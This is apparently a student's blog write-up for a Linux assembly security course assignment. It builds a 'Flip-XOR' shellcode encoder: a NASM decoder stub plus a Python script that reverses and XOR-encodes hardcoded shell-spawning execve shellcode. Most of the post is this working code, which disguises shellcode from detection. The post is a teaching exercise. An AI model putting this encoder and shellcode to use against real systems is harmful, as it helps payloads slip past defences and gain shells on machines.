SLAE-1053

SecurityTube 32-bit Linux Assmbly Expert Course Assignments


Project maintained by johneiser Hosted on GitHub Pages — Theme by mattgraham

<< Go Back

Assignment 4

Create a Custom Encoder


2017-10-09 00:00:00 +0000

For this challenge we will be creating a custom shellcode encoder, specifically what I am calling a ‘Flip-XOR’ encoder. This encoder will reverse the order of the shellcode, XOR each byte with a key, then prepend a decoder stub. Let’s get started!

The first challenge is decoding such a shellcode. The following assembly file shows how we could accomplish this:

; decoder.nasm
;  - Decode shellcode, then pass over execution

global _start

section .text
_start:

        jmp short call_decoder

decoder:
        pop esi                 ; Shellcode location
        xor ecx, ecx            ; Length of shellcode
        mov cl, 7               ; ...
        mov edi, esi            ; Decode location
        add edi, ecx            ; ...
        add edi, ecx            ; ...
        dec edi                 ; ...

decode:
        xor ebx, ebx            ; Clear carry register
        mov bl, byte [esi]      ; Decode
        xor bl, 0xAA            ; ...
        mov byte [edi], bl      ; Move
        mov byte [esi], 0x90    ; Replace with nop
        inc esi                 ; Loop
        dec edi                 ; ...
        loop decode             ; ...
        jmp short Shellcode     ; Pass over execution


call_decoder:
        call decoder
        Shellcode: db 0x2a, 0x67, 0xea, 0x69, 0x23, 0x6a, 0x9b

As you can see, we start with a jmp call pop method of retrieving the address of our shellcode, then we set up our decode function with that address and the length of the shellcode. In addition to storing the shellcode address, we also store an address to the end of a duplicate range after the shellcode, where we’ll store our decoded shellcode.

The decode function takes the byte at esi, XORs it with the key (0xAA), moves the result to edi, then replaces esi with a NOP (0x90). The function then loops after incrementing esi and decrementing edi. In graphical form, we transformed this…

                 ESI                                           EDI
|--decoder-stub--|---encoded-shellcode---|-----------?-----------|
EIP

… into this …

                                      ESI EDI
|--decoder-stub--|-------nop-sled--------|---decoded-shellcode---|
                 EIP

Great! The next step is to build the actual encoder, shown below:

#!/usr/bin/python
# encoder.py
#  - Encode shellcode using 'Flip-XOR', then prepend decoder

import sys

if (len(sys.argv) != 1):
        print "[-] No inputs! Configure shellcode manually."
        sys.exit()

shellcode = (           # execve(/bin//sh)
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62"
"\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3"
"\x50\x89\xe2\x53\x89\xe1\x31\xc0\xb0\x0b"
"\xcd\x80"
)

key = 0xaa

length = len(shellcode)
print "Original Length: %d" % length

output = ""

# _start:
output += "\\xeb\\x1e"                  # jmp short call_decoder

# decoder:
output += "\\x5e"                       # pop esi
output += "\\x31\\xc9"                  # xor ecx, ecx
output += "\\xb1\\x%02x" % length       # mov cl, <length>
output += "\\x89\\xf7"                  # mov edi, esi
output += "\\x01\\xcf"                  # add edi, ecx
output += "\\x01\\xcf"                  # add edi, ecx
output += "\\x4f"                       # dec edi

# decode:
output += "\\x31\\xdb"                  # xor ebx, ebx
output += "\\x8a\\x1e"                  # mov bl, byte [esi]
output += "\\x80\\xf3\\x%02x" % key     # xor bl, <key>
output += "\\x88\\x1f"                  # mov byte [edi], bl
output += "\\xc6\\x06\\x90"             # mov byte [esi], 0x90
output += "\\x46"                       # inc esi
output += "\\x4f"                       # dec edi
output += "\\xe2\\xf0"                  # loop decode
output += "\\xeb\\x05"                  # jmp short Shellcode

# call_decoder:
output += "\\xe8\\xdd\\xff\\xff\\xff"   # call decoder

# Shellcode:
arr = bytearray(shellcode)
for i in range(0, length):
        # 'Flip-XOR' Encoding
        x = arr[length-1-i]
        y = x^key
        output += "\\x%02x" % y

newlength = len(output) / 4
print "Encoded Length: %d" % newlength
print "\"%s\"" % output

As you can see, our encoder not only encodes the provided shellcode with the provided key, it also prepends a decoder stub with the appropriate length and key.

A note on this encoder worth mentioning is that it expands, making use of the space after it. This may or may not be a concern, depending on the application, but an improvement to this encoder might be eliminating the need to expand and just rearrange in-place.

You can find the all the code to this challenge at https://github.com/johneiser/SLAE/tree/master/assignments/Assignment_4.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

<< Go Back